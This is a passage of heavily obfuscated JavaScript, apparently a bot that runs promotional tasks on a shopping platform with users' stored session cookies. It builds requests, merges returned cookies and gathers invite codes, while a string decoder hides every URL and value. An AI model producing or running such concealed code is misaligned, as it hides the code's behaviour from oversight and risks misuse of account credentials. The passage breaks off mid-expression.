_0xfbdc27[_0x17be('‫249','\x45\x52\x63\x7a')](task,_0xfbdc27[_0x17be('‫24a','\x4e\x29\x4f\x23')],_0x17be('‫24b','\x65\x69\x66\x57')+$[_0x17be('‫24c','\x78\x59\x62\x4b')]+_0x17be('‫24d','\x65\x61\x4a\x63')+_0xfbdc27[_0x17be('‮24e','\x69\x54\x73\x6b')](encodeURIComponent,$[_0x17be('‮24f','\x2a\x55\x43\x54')]));await $[_0x17be('‫250','\x65\x61\x4a\x63')](0x9c4);}}else{return{'\x75\x72\x6c':isCommon?_0x17be('‫251','\x65\x69\x66\x57')+function_id:_0x17be('‮252','\x30\x4b\x65\x43')+function_id,'\x68\x65\x61\x64\x65\x72\x73':{'\x48\x6f\x73\x74':_0xfbdc27[_0x17be('‮253','\x58\x29\x32\x30')],'\x41\x63\x63\x65\x70\x74':_0xfbdc27[_0x17be('‮254','\x5b\x39\x64\x59')],'X-Requested-With':_0xfbdc27[_0x17be('‮255','\x78\x59\x62\x4b')],'Accept-Language':_0xfbdc27[_0x17be('‮256','\x72\x6d\x49\x69')],'Accept-Encoding':_0xfbdc27[_0x17be('‫257','\x7a\x79\x71\x32')],'Content-Type':_0xfbdc27[_0x17be('‫258','\x30\x6e\x41\x4b')],'\x4f\x72\x69\x67\x69\x6e':_0xfbdc27[_0x17be('‫259','\x2a\x55\x43\x54')],'User-Agent':_0x17be('‫25a','\x71\x44\x63\x4d')+$[_0x17be('‮25b','\x63\x28\x5e\x39')]+_0x17be('‮25c','\x58\x79\x4b\x6a')+$[_0x17be('‫25d','\x55\x68\x6c\x72')]+_0x17be('‫25e','\x68\x70\x4d\x31'),'\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e':_0xfbdc27[_0x17be('‫25f','\x68\x5d\x35\x40')],'\x52\x65\x66\x65\x72\x65\x72':$[_0x17be('‮260','\x69\x54\x73\x6b')],'\x43\x6f\x6f\x6b\x69\x65':cookie},'\x62\x6f\x64\x79':body};}}}else{cookie+=_0xfbdc27[_0x17be('‮261','\x77\x5d\x48\x33')](_0xfbdc27[_0x17be('‫262','\x51\x52\x32\x53')](_0xfbdc27[_0x17be('‮263','\x21\x43\x53\x59')](vo,'\x3d'),lz_cookie[vo]),'\x3b');}}else{$[_0x17be('‫264','\x21\x42\x26\x35')](_0xfbdc27[_0x17be('‫265','\x69\x54\x73\x6b')]);}}else{if(_0xfbdc27[_0x17be('‫266','\x68\x5d\x35\x40')]($[_0x17be('‫267','\x2a\x46\x5a\x6b')],0x1)){ownCode[_0xfbdc27[_0x17be('‮268','\x55\x68\x6c\x72')]]=data[_0x17be('‫269','\x65\x61\x4a\x63')][_0x17be('‮26a','\x61\x42\x78\x5b')];ownCode[_0xfbdc27[_0x17be('‮26b','\x2a\x46\x5a\x6b')]]=data[_0x17be('‫26c','\x51\x52\x32\x53')][_0x17be('‮26d','\x58\x79\x4b\x6a')];}$[_0x17be('‫23','\x5b\x39\x64\x59')]=data[_0x17be('‫26e','\x4c\x75\x39\x76')][_0x17be('‮26f','\x45\x52\x63\x7a')];}}else{$[_0x17be('‫270','\x4b\x48\x61\x67')](_0xfbdc27[_0x17be('‮271','\x58\x79\x4b\x6a')]);}}else{$[_0x17be('‫272','\x65\x61\x4a\x63')](_0xfbdc27[_0x17be('‮273','\x5b\x39\x64\x59')]);}}function task(_0x22e70a,_0x511064,_0x27ccfd=0x0){var _0x3900bb={'\x56\x7a\x71\x6f\x51':function(_0x35c7a2){return _0x35c7a2();},'\x45\x51\x4d\x5a\x7a':function(_0x57ba75){return _0x57ba75();},'\x63\x6b\x62\x6a\x50':function(_0x33862a,_0x53c994){return _0x33862a!==_0x53c994;},'\x4e\x4f\x49\x69\x4e':_0x17be('‫274','\x61\x42\x78\x5b'),'\x56\x70\x61\x74\x4a':_0x17be('‫275','\x63\x28\x5e\x39'),'\x5a\x71\x53\x46\x72':function(_0x308912,_0x372513){return _0x308912===_0x372513;},'\x44\x62\x4e\x4a\x70':_0x17be('‫276','\x5b\x39\x64\x59'),'\x41\x4f\x6a\x62\x54':_0x17be('‮277','\x46\x64\x29\x62'),'\x74\x75\x63\x48\x6a':_0x17be('‮278','\x2a\x55\x43\x54'),'\x57\x4f\x4f\x4d\x4c':_0x17be('‮279','\x28\x51\x53\x35'),'\x78\x42\x44\x4d\x57':_0x17be('‮27a','\x72\x6d\x49\x69'),'\x65\x79\x71\x6a\x71':_0x17be('‫27b','\x75\x41\x62\x29'),'\x58\x4f\x54\x4e\x4d':_0x17be('‫27c','\x72\x52\x4e\x52'),'\x4e\x5a\x71\x43\x63':function(_0x2c8b19,_0x5c2b23){return _0x2c8b19+_0x5c2b23;},'\x4b\x62\x4d\x66\x64':_0x17be('‫27d','\x30\x4b\x65\x43'),'\x50\x4c\x66\x57\x46':_0x17be('‫27e','\x4d\x37\x76\x65'),'\x76\x62\x6f\x51\x4e':function(_0x489aa4,_0x6fde10){return _0x489aa4+_0x6fde10;},'\x6b\x6a\x45\x64\x44':function(_0x4386a9,_0x36a2ee){return _0x4386a9+_0x36a2ee;},'\x66\x54\x52\x75\x48':_0x17be('‫27f','\x61\x33\x2a\x79'),'\x6a\x6c\x62\x68\x50':_0x17be('‮280','\x26\x4b\x38\x6e'),'\x4e\x53\x4a\x63\x47':_0x17be('‫281','\x21\x42\x26\x35'),'\x4c\x42\x56\x72\x78':function(_0x5de828,_0x5e8c38){return _0x5de828===_0x5e8c38;},'\x64\x69\x6a\x6c\x64':_0x17be('‮282','\x24\x77\x63\x64'),'\x72\x7a\x4d\x69\x53':_0x17be('‫283','\x26\x4b\x38\x6e'),'\x73\x45\x77\x64\x57':function(_0x28036d,_0x5bfd08){return _0x28036d===_0x5bfd08;},'\x4f\x76\x6d\x75\x78':_0x17be('‮284','\x34\x4b\x4e\x31'),'\x42\x65\x5a\x45\x46':_0x17be('‮285','\x65\x58\x32\x43'),'\x4d\x57\x6c\x51\x43':_0x17be('‮286','\x55\x68\x6c\x72'),'\x46\x64\x63\x70\x41':_0x17be('‮287','\x28\x51\x53\x35'),'\x6e\x53\x48\x6c\x79':_0x17be('‮288','\x72\x6d\x49\x69'),'\x78\x4a\x57\x4e\x45':_0x17be('‮289','\x63\x29\x36\x47'),'\x64\x41\x6e\x4f\x6f':_0x17be('‫28a','\x68\x70\x4d\x31'),'\x62\x49\x69\x4a\x57':function(_0x49a5a9,_0x48c5c5){return _0x49a5a9!==_0x48c5c5;},'\x68\x64\x54\x61\x55':_0x17be('‫28b','\x61\x33\x2a\x79'),'\x6d\x42\x69\x56\x79':_0x17be('‫28c','\x34\x4b\x4e\x31'),'\x6a\x50\x74\x50\x6f':_0x17be('‫28d','\x78\x59\x62\x4b'),'\x65\x41\x78\x76\x4e':_0x17be('‫28e','\x21\x42\x26\x35'),'\x53\x71\x6c\x44\x6e':function(_0x3f8b14,_0x5ccc39){return _0x3f8b14===_0x5ccc39;},'\x66\x44\x76\x4f\x68':_0x17be('‫28f','\x65\x61\x4a\x63'),'\x61\x70\x50\x57\x4b':function(_0x966f21){return _0x966f21();},'\x62\x4e\x74\x70\x58':_0x17be('‫290','\x61\x42\x78\x5b'),'\x44\x44\x67\x42\x4d':function(_0x362085,_0x1e1d82){return _0x362085===_0x1e1d82;},'\x6d\x73\x45\x6e\x62':_0x17be('‫291','\x65\x61\x4a\x63'),'\x50\x4c\x6a\x6b\x4c':_0x17be('‫292','\x7a\x79\x71\x32'),'\x4a\x6c\x45\x59\x6a':function(_0x3d7b91,_0x26b552,_0x415ce6,_0x4e0dae){return _0x3d7b91(_0x26b552,_0x415ce6,_0x4e0dae);}};return new Promise(_0x22b053=>{var _0x4a8640={'\x53\x79\x79\x64\x54':function(_0x27fa57){return _0x3900bb[_0x17be('‮293','\x61\x42\x78\x5b')](_0x27fa57);},'\x68\x4c\x61\x66\x69':function(_0x18a4a2,_0x2bd7af){return _0x3900bb[_0x17be('‫294','\x21\x73\x4e\x30')](_0x18a4a2,_0x2bd7af);},'\x53\x4b\x4e\x78\x69':_0x3900bb[_0x17be('‮295','\x28\x51\x53\x35')]};if(_0x3900bb[_0x17be('‮296','\x63\x28\x5e\x39')](_0x3900bb[_0x17be('‫297','\x58\x79\x4b\x6a')],_0x3900bb[_0x17be('‮298','\x65\x69\x66\x57')])){_0x3900bb[_0x17be('‮299','\x61\x42\x78\x5b')](_0x22b053);}else{$[_0x17be('‮29a','\x61\x33\x2a\x79')](_0x3900bb[_0x17be('‫29b','\x4f\x46\x44\x78')](taskUrl,_0x22e70a,_0x511064,_0x27ccfd),async(_0x227a2a,_0x3efed3,_0x4516f3)=>{var _0x522e40={'\x46\x4a\x6a\x44\x4c':function(_0x480695){return _0x3900bb[_0x17be('‫29c','\x28\x51\x53\x35')](_0x480695);}};if(_0x3900bb[_0x17be('‫29d','\x68\x70\x4d\x31')](_0x3900bb[_0x17be('‮29e','\x30\x6e\x41\x4b')],_0x3900bb[_0x17be('‫29f','\x4f\x46\x44\x78')])){try{if(_0x227a2a){if(_0x3900bb[_0x17be('‫2a0','\x45\x52\x63\x7a')](_0x3900bb[_0x17be('‮2a1','\x57\x54\x5e\x6b')],_0x3900bb[_0x17be('‮2a2','\x6d\x50\x41\x7a')])){$[_0x17be('‮2a3','\x6d\x50\x41\x7a')](_0x227a2a);}else{$[_0x17be('‮2a4','\x71\x44\x63\x4d')](_0x227a2a);}}else{if(_0x4516f3){if(_0x3900bb[_0x17be('‫2a5','\x39\x25\x61\x28')](_0x3900bb[_0x17be('‫2a6','\x71\x44\x63\x4d')],_0x3900bb[_0x17be('‫2a7','\x30\x4b\x65\x43')])){_0x4516f3=JSON[_0x17be('‫2a8','\x77\x5d\x48\x33')](_0x4516f3);if(_0x3efed3[_0x3900bb[_0x17be('‫2a9','\x71\x44\x63\x4d')]][_0x3900bb[_0x17be('‫2aa','\x45\x52\x63\x7a')]]){cookie=originCookie+'\x3b';for(let _0x13662b of _0x3efed3[_0x3900bb[_0x17be('‫2ab','\x28\x51\x53\x35')]][_0x3900bb[_0x17be('‮2ac','\x51\x52\x32\x53')]]){if(_0x3900bb[_0x17be('‫2ad','\x4c\x75\x38\x63')](_0x3900bb[_0x17be('‫2ae','\x34\x4b\x4e\x31')],_0x3900bb[_0x17be('‫2af','\x72\x66\x71\x47')])){lz_cookie[_0x13662b[_0x17be('‮2b0','\x51\x52\x32\x53')]('\x3b')[0x0][_0x17be('‮2b1','\x63\x29\x36\x47')](0x0,_0x13662b[_0x17be('‮2b2','\x72\x6d\x49\x69')]('\x3b')[0x0][_0x17be('‫2b3','\x65\x69\x66\x57')]('\x3d'))]=_0x13662b[_0x17be('‮2b4','\x77\x5d\x48\x33')]('\x3b')[0x0][_0x17be('‮2b5','\x39\x25\x61\x28')](_0x3900bb[_0x17be('‮2b6','\x2a\x46\x5a\x6b')](_0x13662b[_0x17be('‫ab','\x72\x66\x71\x47')]('\x3b')[0x0][_0x17be('‫2b7','\x55\x68\x6c\x72')]('\x3d'),0x1));}else{_0x4a8640[_0x17be('‫2b8','\x46\x4f\x73\x62')](_0x22b053);}}for(const _0x540259 of Object[_0x17be('‫2b9','\x63\x28\x5e\x39')](lz_cookie)){if(_0x3900bb[_0x17be('‮2ba','\x68\x70\x4d\x31')](_0x3900bb[_0x17be('‫2bb','\x4d\x37\x76\x65')],_0x3900bb[_0x17be('‫2bc','\x30\x4b\x65\x43')])){_0x522e40[_0x17be('‫2bd','\x26\x4b\x38\x6e')](_0x22b053);}else{cookie+=_0x3900bb[_0x17be('‮2be','\x77\x5d\x48\x33')](_0x3900bb[_0x17be('‮2bf','\x39\x25\x61\x28')](_0x3900bb[_0x17be('‫2c0','\x77\x53\x47\x4c')](_0x540259,'\x3d'),lz_cookie[_0x540259]),'\x3b');}}}if(_0x4516f3[_0x17be('‫2c1','\x58\x79\x4b\x6a')]){if(_0x3900bb[_0x17be('‮2c2','\x58\x79\x4b\x6a')](_0x3900bb[_0x17be('‫2c3','\x6d\x50\x41\x7a')],_0x3900bb[_0x17be('‫2c4','\x68\x70\x4d\x31')])){$[_0x17be('‮2c5','\x30\x4b\x65\x43')](error);}else{switch(_0x22e70a){case _0x3900bb[_0x17be('‮2c6','\x4f\x46\x44\x78')]:$[_0x17be('‮2c7','\x69\x54\x73\x6b')]=_0x4516f3[_0x17be('‮2c8','\x61\x33\x2a\x79')][_0x17be('‮2c9','\x46\x4f\x73\x62')];$[_0x17be('‫2ca','\x71\x44\x63\x4d')]=_0x4516f3[_0x17be('‮2cb','\x21\x43\x53\x59')][_0x17be('‫2cc','\x5b\x39\x64\x59')];$[_0x17be('‮2cd','\x51\x52\x32\x53')]=_0x4516f3[_0x17be('‫26e','\x4c\x75\x39\x76')][_0x17be('‫2ce','\x65\x61\x4a\x63')];break;case _0x3900bb[_0x17be('‮2cf','\x30\x6e\x41\x4b')]:$[_0x17be('‫281','\x21\x42\x26\x35')]=_0x4516f3[_0x17be('‫2d0','\x39\x25\x61\x28')][_0x17be('‫2d1','\x65\x58\x32\x43')];$[_0x17be('‮2d2','\x72\x52\x4e\x52')]=_0x4516f3[_0x17be('‫2d3','\x77\x53\x47\x4c')][_0x17be('‮23a','\x58\x29\x32\x30')]||0x0;$[_0x17be('‫2d4','\x51\x52\x32\x53')]=_0x4516f3[_0x17be('‮2c8','\x61\x33\x2a\x79')][_0x17be('‫2d5','\x28\x51\x53\x35')]||'';if(_0x3900bb[_0x17be('‫2d6','\x26\x4b\x38\x6e')]($[_0x17be('‮2d7','\x63\x28\x5e\x39')],0x1)){ownCode=_0x4516f3[_0x17be('‮2d8','\x34\x4b\x4e\x31')][_0x17be('‫2d9','\x4c\x75\x39\x76')];}break;case _0x3900bb[_0x17be('‫2da','\x4b\x48\x61\x67')]:$[_0x17be('‮2db','\x63\x29\x36\x47')]=_0x4516f3[_0x17be('‫26e','\x4c\x75\x39\x76')][_0x17be('‫145','\x21\x42\x26\x35')];break;case _0x3900bb[_0x17be('‫2dc','\x28\x51\x53\x35')]:if(_0x4516f3[_0x17be('‫69','\x21\x73\x4e\x30')][_0x17be('‫2dd','\x5b\x39\x64\x59')]){if(_0x3900bb[_0x17be('‫2de','\x7a\x79\x71\x32')]($[_0x17be('‮2df','\x65\x61\x4a\x63')],0x1)){ownCode[_0x3900bb[_0x17be('‮2e0','\x58\x79\x4b\x6a')]]=_0x4516f3[_0x17be('‮2e1','\x78\x59\x62\x4b')][_0x17be('‫2e2','\x34\x4b\x4e\x31')];ownCode[_0x3900bb[_0x17be('‫2e3','\x58\x29\x32\x30')]]=_0x4516f3[_0x17be('‫269','\x65\x61\x4a\x63')][_0x17be('‮2e4','\x57\x54\x5e\x6b')];}$[_0x17be('‫23','\x5b\x39\x64\x59')]=_0x4516f3[_0x17be('‮2e5','\x63\x28\x5e\x39')][_0x17be('‮2e6','\x68\x5d\x35\x40')];}else{if(_0x3900bb[_0x17be('‫2e7','\x71\x44\x63\x4d')]($[_0x17be('‫2e8','\x58\x29\x32\x30')],0x1)){ownCode[_0x3900bb[_0x17be('‮2e9','\x5b\x39\x64\x59')]]=_0x3900bb[_0x17be('‮2ea','\x77\x53\x47\x4c')];ownCode[_0x3900bb[_0x17be('‮2eb','\x61\x42\x78\x5b')]]=_0x4516f3[_0x17be('‫2ec','\x45\x52\x63\x7a')][_0x17be('‮2ed','\x4e\x29\x4f\x23')];}$[_0x17be('‫2ee','\x68\x5d\x35\x40')]=_0x3900bb[_0x17be('‮2ef','\x72\x6d\x49\x69')];}break;case _0x3900bb[_0x17be('‮2f0','\x50\x4c\x65\x52')]:$[_0x17be('‮2f1','\x4e\x29\x4f\x23')]=_0x4516f3[_0x17be('‮2f2','\x63\x29\x36\x47')][_0x17be('‮2f3','\x2a\x55\x43\x54')];console[_0x17be('‮2f4','\x5b\x39\x64\x59')](_0x17be('‮2f5','\x71\x44\x63\x4d')+$[_0x17be('‮df','\x4c\x75\x39\x76')]);break;case _0x3900bb[_0x17be('‫2f6','\x5b\x39\x64\x59')]:break;case _0x3900bb[_0x17be('‫2f7','\x50\x4c\x65\x52')]:if(_0x4516f3[_0x17be('‫2f8','\x4c\x75\x38\x63')]){console[_0x17be('‮2f9','\x72\x6d\x49\x69')](_0x3900bb[_0x17be('‫2fa','\x26\x4b\x38\x6e')]);}else{if(_0x3900bb[_0x17be('‮2fb','\x2a\x55\x43\x54')](_0x3900bb[_0x17be('‫2fc','\x57\x54\x5e\x6b')],_0x3900bb[_0x17be('‮2fd','\x2a\x55\x43\x54')])){_0x4a8640[_0x17be('‮2fe','\x77\x5d\x48\x33')](_0x22b053);}else{$[_0x17be('‫12d','\x45\x52\x63\x7a')](_0x4516f3[_0x17be('‮2ff','\x46\x4f\x73\x62')]);}}break;case _0x3900bb[_0x17be('‫300','\x75\x41\x62\x29')]:$[_0x17be('‮301','\x50\x4c\x65\x52')]=_0x4516f3[_0x17be('‮302','\x26\x4b\x38\x6e')];break;case _0x3900bb[_0x17be('‮303','\x78\x59\x62\x4b')]:if(_0x4516f3[_0x17be('‫69','\x21\x73\x4e\x30')][_0x17be('‮304','\x39\x25\x61\x28')]){console[_0x17be('‫9f','\x4c\x75\x39\x76')](''+_0x4516f3[_0x17be('‫305','\x21\x42\x26\x35')][_0x17be('‫306','\x50\x4c\x65\x52')]);message+=_0x4516f3[_0x17be('‫307','\x68\x5d\x35\x40')][_0x17be('‮308','\x58\x79\x4b\x6a')];llnothing=![];}else{console[_0x17be('‮309','\x46\x64\x29\x62')](_0x3900bb[_0x17be('‮30a','\x63\x29\x36\x47')]);}break;default:$[_0x17be('‫7f','\x4f\x46\x44\x78')](JSON[_0x17be('‮30b','\x2a\x55\x43\x54')](_0x4516f3));break;}await $[_0x17be('‮30c','\x55\x68\x6c\x72')](0x7d0);}}}else{$[_0x17be('‫1bd','\x4c\x75\x38\x63')](_0x4516f3[_0x17be('‫30d','\x5b\x39\x64\x59')]);}}else{}}}catch(_0x1940ae){$[_0x17be('‫30e','\x77\x53\x47\x4c')](_0x1940ae);}finally{if(_0x3900bb[_0x17be('‮30f','\x4c\x75\x39\x76')](_0x3900bb[_0x17be('‮310','\x72\x66\x71\x47')],_0x3900bb[_0x17be('‮311','\x28\x51\x53\x35')])){_0x3900bb[_0x17be('‫312','\x30\x6e\x41\x4b')](_0x22b053);}else{lz_cookie[sk[_0x17be('‮313','\x2a\x46\x5a\x6b')]('\x3b')[0x0][_0x17be('‮314','\x65\x58\x32\x43')](0x0,sk[_0x17be('‮315','\x6d\x50\x41\x7a')]('\x3b')[0x0][_0x17be('‫316','\x5b\x39\x64\x59')]('\x3d'))]=sk[_0x17be('‮313','\x2a\x46\x5a\x6b')]('\x3b')[0x0][_0x17be('‮317','\x58\x29\x32\x30')](_0x4a8640[_0x17be('‮318','\x58\x29\x32\x30')](sk[_0x17be('‮319','\x58\x79\x4b\x6a')]('\x3b')[0x0][_0x17be('‫31a','\x6d\x50\x41\x7a')]('\x3d'),0x1));}}}else{console[_0x17be('‮2f9','\x72\x6d\x49\x69')](_0x4a8640[_0x17be('‫31b','\x68\x70\x4d\x31')](_0x4a8640[_0x17be('‮31c','\x72\x66\x71\x47')],ownCode));}});}});}function taskUrl(_0x5c25da,_0x548232,_0x3f7922){var _0x541d5f={'\x6a\x69\x6c\x70\x64':_0x17be('‫31d','\x39\x25\x61\x28'),'\x75\x65\x4e\x5a\x4c':_0x17be('‮31e','\x39\x25\x61\x28'),'\x78\x57\x48\x74\x61':_0x17be('‮31f','\x69\x54\x73\x6b'),'\x42\x58\x61\x59\x47':_0x17be('‮320','\x78\x59\x62\x4b'),'\x57\x4a\x50\x67\x78':_0x17be('‫321','\x61\x42\x78\x5b'),'\x4c\x65\x55\x67\x45':_0x17be('‮322','\x6d\x50\x41\x7a'),'\x6d\x72\x61\x47\x75':_0x17be('‫d2','\x58\x79\x4b\x6a'),'\x46\x59\x59\x52\x5a':_0x17be('‫323','\x30\x4b\x65\x43')};return{'\x75\x72\x6c':_0x3f7922?_0x17be('‮324','\x6d\x50\x41\x7a')+_0x5c25da:_0x17be('‫325','\x30\x6e\x41\x4b')+_0x5c25da,'\x68\x65\x61\x64\x65\x72\x73':{'\x48\x6f\x73\x74':_0x541d5f[_0x17be('‫326','\x72\x52\x4e\x52')],'\x41\x63\x63\x65\x70\x74':_0x541d5f[_0x17be('‮327','\x77\x53\x47\x4c')],'X-Requested-With':_0x541d5f[_0x17be('‫328','\x4c\x75\x39\x76')],'Accept-Language':_0x541d5f[_0x17be('‫329','\x21\x42\x26\x35')],'Accept-Encoding':_0x541d5f[_0x17be('‫32a','\x65\x58\x32\x43')],'Content-Type':_0x541d5f[_0x17be('‫32b','\x65\x58\x32\x43')],'\x4f\x72\x69\x67\x69\x6e':_0x541d5f[_0x17be('‮32c','\x24\x77\x63\x64')],'User-Agent':_0x17be('‮32d','\x68\x70\x4d\x31')+$[_0x17be('‫32e','\x58\x79\x4b\x6a')]+_0x17be('‮32f','\x78\x59\x62\x4b')+$[_0x17be('‫330','\x46\x4f\x73\x62')]+_0x17be('‫331','\x21\x42\x26\x35'),'\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e':_0x541d5f[_0x17be('‫332','\x5b\x39\x64\x59')],'\x52\x65\x66\x65\x72\x65\x72':$[_0x17be('‫333','\x63\x29\x36\x47')],'\x43\x6f\x6f\x6b\x69\x65':cookie},'\x62\x6f\x64\x79':_0x548232};}function getMyPing(){var _0x8b781b={'\x63\x4c\x62\x75\x6b':function(_0x50fc80,_0x15579b){return _0x50fc80!==_0x15579b;},'\x65\x67\x76\x6a\x50':_0x17be('‮334','\x65\x58\x32\x43'),'\x72\x42\x69\x43\x7a':_0x17be('‮335','\x4f\x46\x44\x78'),'\x45\x4b\x52\x73\x79':_0x17be('‮336','\x21\x42\x26\x35'),'\x4f\x7a\x6c\x52\x56':function(_0x16d907,_0x46ffa0){return _0x16d907+_0x46ffa0;},'\x65\x6d\x48\x61\x4f':function(_0x28ce10,_0x48aefb){return _0x28ce10===_0x48aefb;},'\x6f\x43\x44\x76\x4b':_0x17be('‮337','\x24\x77\x63\x64'),'\x5a\x4e\x56\x48\x42':function(_0x498cc8,_0x18f5c1){return _0x498cc8+_0x18f5c1;},'\x4c\x56\x4c\x48\x78':_0x17be('‫338','\x37\x4f\x51\x68'),'\x58\x6b\x73\x59\x79':_0x17be('‫339','\x30\x6e\x41\x4b'),'\x42\x49\x77\x69\x42':_0x17be('‫33a','\x72\x6d\x49\x69'),'\x76\x70\x6b\x64\x76':_0x17be('‫33b','\x61\x42\x78\x5b'),'\x76\x58\x59\x79\x64':_0x17be('‫33c','\x61\x42\x78\x5b'),'\x65\x63\x68\x74\x6f':_0x17be('‫33d','\x77\x5d\x48\x33'),'\x61\x53\x62\x68\x49':function(_0x2cc868){return _0x2cc868();},'\x79\x67\x49\x68\x6b':function(_0x1de89c,_0xe8a298){return _0x1de89c|_0xe8a298;},'\x51\x70\x78\x65\x6c':function(_0x2ecd27,_0x21325b){return _0x2ecd27*_0x21325b;},'\x6c\x70\x4c\x78\x45':function(_0x2e6c54,_0x11713c){return _0x2e6c54==_0x11713c;},'\x78\x53\x72\x72\x71':function(_0x4389ba,_0x3dda83){return _0x4389ba&_0x3dda83;},'\x65\x66\x57\x77\x44':_0x17be('‮33e','\x45\x52\x63\x7a'),'\x6c\x4b\x66\x44\x50':_0x17be('‫33f','\x37\x4f\x51\x68'),'\x72\x6d\x4a\x53\x6d':_0x17be('‫340','\x46\x64\x29\x62'),'\x64\x50\x56\x4d\x55':_0x17be('‫341','\x24\x77\x63\x64'),'\x4c\x63\x62\x69\x4a':_0x17be('‫342','\x46\x4f\x73\x62'),'\x71\x75\x4c\x62\x50':_0x17be('‮343','\x4c\x75\x38\x63'),'\x63\x56\x6a\x74\x58':_0x17be('‫344','\x63\x29\x36\x47'),'\x75\x73\x6c\x6b\x6c':_0x17be('‫345','\x63\x29\x36\x47')};let _0x43a71c={'\x75\x72\x6c':_0x17be('‮346','\x46\x4f\x73\x62'),'\x68\x65\x61\x64\x65\x72\x73':{'\x48\x6f\x73\x74':_0x8b781b[_0x17be('‮347','\x68\x5d\x35\x40')],'\x41\x63\x63\x65\x70\x74':_0x8b781b[_0x17be('‮348','\x61\x42\x78\x5b')],'X-Requested-With':_0x8b781b[_0x17be('‫349','\x4c\x75\x38\x63')],'Accept-Language':_0x8b781b[_0x17be('‫34a','\x72\x6d\x49\x69')],'Accept-Encoding':_0x8b781b[_0x17be('‫34b','\x63\x29\x36\x47')],'Content-Type':_0x8b781b[_0x17be('‫34c','\x4d\x37\x76\x65')],'\x4f\x72\x69\x67\x69\x6e':_0x8b781b[_0x17be('‮34d','\x30\x6e\x41\x4b')],'User-Agent':_0x17be('‫34e','\x30\x4b\x65\x43')+$[_0x17be('‫34f','\x21\x43\x53\x59')]+_0x17be('‫350','\x28\x51\x53\x35')+$[_0x17be('‫351','\x61\x42\x78\x5b')]+_0x17be('‫352','\x4e\x29\x4f\x23'),'\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e':_0x8b781b[_0x17be('‫353','\x6d\x50\x41\x7a')],'\x52\x65\x66\x65\x72\x65\x72':$[_0x17be('‫354','\x4d\x37\x76\x65')],'\x43\x6f\x6f\x6b\x69\x65':cookie},'\x62\x6f\x64\x79':_0x17be('‮355','\x45\x52\x63\x7a')+$[_0x17be('‮356','\x58\x29\x32\x30')]+_0x17be('‮357','\x46\x4f\x73\x62')+$[_0x17be('‮358','\x5b\x39\x64\x59')]+_0x17be('‫359','\x21\x42\x26\x35')};return new Promise(_0xf1af7=>{var _0x386230={'\x49\x64\x79\x50\x61':function(_0x4907f9,_0x7ae176){return _0x8b781b[_0x17be('‮35a','\x51\x52\x32\x53')](_0x4907f9,_0x7ae176);},'\x6f\x69\x6d\x4a\x78':function(_0x19003c,_0x5426e2){return _0x8b781b[_0x17be('‮35b','\x21\x73\x4e\x30')](_0x19003c,_0x5426e2);},'\x53\x6a\x64\x52\x63':function(_0x3afd41,_0x5104da){return _0x8b781b[_0x17be('‮35c','\x65\x69\x66\x57')](_0x3afd41,_0x5104da);},'\x43\x4a\x77\x52\x6f':function(_0x4e10fc,_0x2c363c){return _0x8b781b[_0x17be('‮35d','\x72\x52\x4e\x52')](_0x4e10fc,_0x2c363c);}};$[_0x17be('‫35e','\x4c\x75\x39\x76')](_0x43a71c,(_0x434b5e,_0xdf87b2,_0x2ba5c0)=>{try{if(_0x8b781b[_0x17be('‮35f','\x72\x52\x4e\x52')](_0x8b781b[_0x17be('‮360','\x46\x4f\x73\x62')],_0x8b781b[_0x17be('‫361','\x4c\x75\x39\x76')])){cookiesArr[_0x17be('‮362','\x71\x44\x63\x4d')](jdCookieNode[item]);}else{if(_0x434b5e){$[_0x17be('‮363','\x68\x5d\x35\x40')](_0x434b5e);}else{if(_0xdf87b2[_0x8b781b[_0x17be('‫364','\x65\x61\x4a\x63')]][_0x8b781b[_0x17be('‫365','\x39\x25\x61\x28')]]){cookie=originCookie+'\x3b';for(let _0x10e43c of _0xdf87b2[_0x8b781b[_0x17be('‫366','\x30\x6e\x41\x4b')]][_0x8b781b[_0x17be('‫367','\x4d\x37\x76\x65')]]){lz_cookie[_0x10e43c[_0x17be('‫368','\x77\x53\x47\x4c')]('\x3b')[0x0][_0x17be('‫369','\x4c\x75\x39\x76')](0x0,_0x10e43c[_0x17be('‫36a','\x46\x4f\x73\x62')]('\x3b')[0x0][_0x17be('‫36b','\x78\x59\x62\x4b')]('\x3d'))]=_0x10e43c[_0x17be('‫36c','\x65\x58\x32\x43')]('\x3b')[0x0][_0x17be('‫ac','\x71\x44\x63\x4d')](_0x8b781b[_0x17be('‫36d','\x37\x4f\x51\x68')](_0x10e43c[_0x17be('‫ab','\x72\x66\x71\x47')]('\x3b')[0x0][_0x17be('‮36e','\x46\x4f\x73\x62')]('\x3d'),0x1));}for(const _0x5b45aa of Object[_0x17be('‫36f','\x71\x44\x63\x4d')](lz_cookie)){if(_0x8b781b[_0x17be('‫370','\x72\x52\x4e\x52')](_0x8b781b[_0x17be('‮371','\x65\x58\x32\x43')],_0x8b781b[_0x17be('‫372','\x6d\x50\x41\x7a')])){cookie+=_0x8b781b[_0x17be('‮373','\x75\x41\x62\x29')](_0x8b781b[_0x17be('‫374','\x39\x25\x61\x28')](_0x8b781b[_0x17be('‫375','\x78\x59\x62\x4b')](_0x5b45aa,'\x3d'),lz_cookie[_0x5b45aa]),'\x3b');}else{$[_0x17be('‫376','\x77\x53\x47\x4c')](_0x434b5e);}}}if(_0x2ba5c0){_0x2ba5c0=JSON[_0x17be('‫377','\x50\x4c\x65\x52')](_0x2ba5c0);if(_0x2ba5c0[_0x17be('‮378','\x34\x4b\x4e\x31')]){if(_0x8b781b[_0x17be('‮379','\x26\x4b\x38\x6e')](_0x8b781b[_0x17be('‮37a','\x58\x79\x4b\x6a')],_0x8b781b[_0x17be('‮37b','\x58\x29\x32\x30')])){$[_0x17be('‮37c','\x4d\x37\x76\x65')](_0x17be('‫37d','\x24\x77\x63\x64')+_0x2ba5c0[_0x17be('‮302','\x26\x4b\x38\x6e')][_0x17be('‫37e','\x50\x4c\x65\x52')]);$[_0x17be('‮37f','\x21\x73\x4e\x30')]=_0x2ba5c0[_0x17be('‮380','\x4c\x75\x38\x63')][_0x17be('‫37e','\x50\x4c\x65\x52')];$[_0x17be('‮381','\x72\x66\x71\x47')]=_0x2ba5c0[_0x17be('‮1f7','\x65\x69\x66\x57')][_0x17be('‫382','\x58\x29\x32\x30')];}else{_0x2ba5c0=JSON[_0x17be('‫383','\x72\x66\x71\x47')](_0x2ba5c0);if(_0x2ba5c0[_0x17be('‮384','\x21\x42\x26\x35')]){$[_0x17be('‫225','\x69\x54\x73\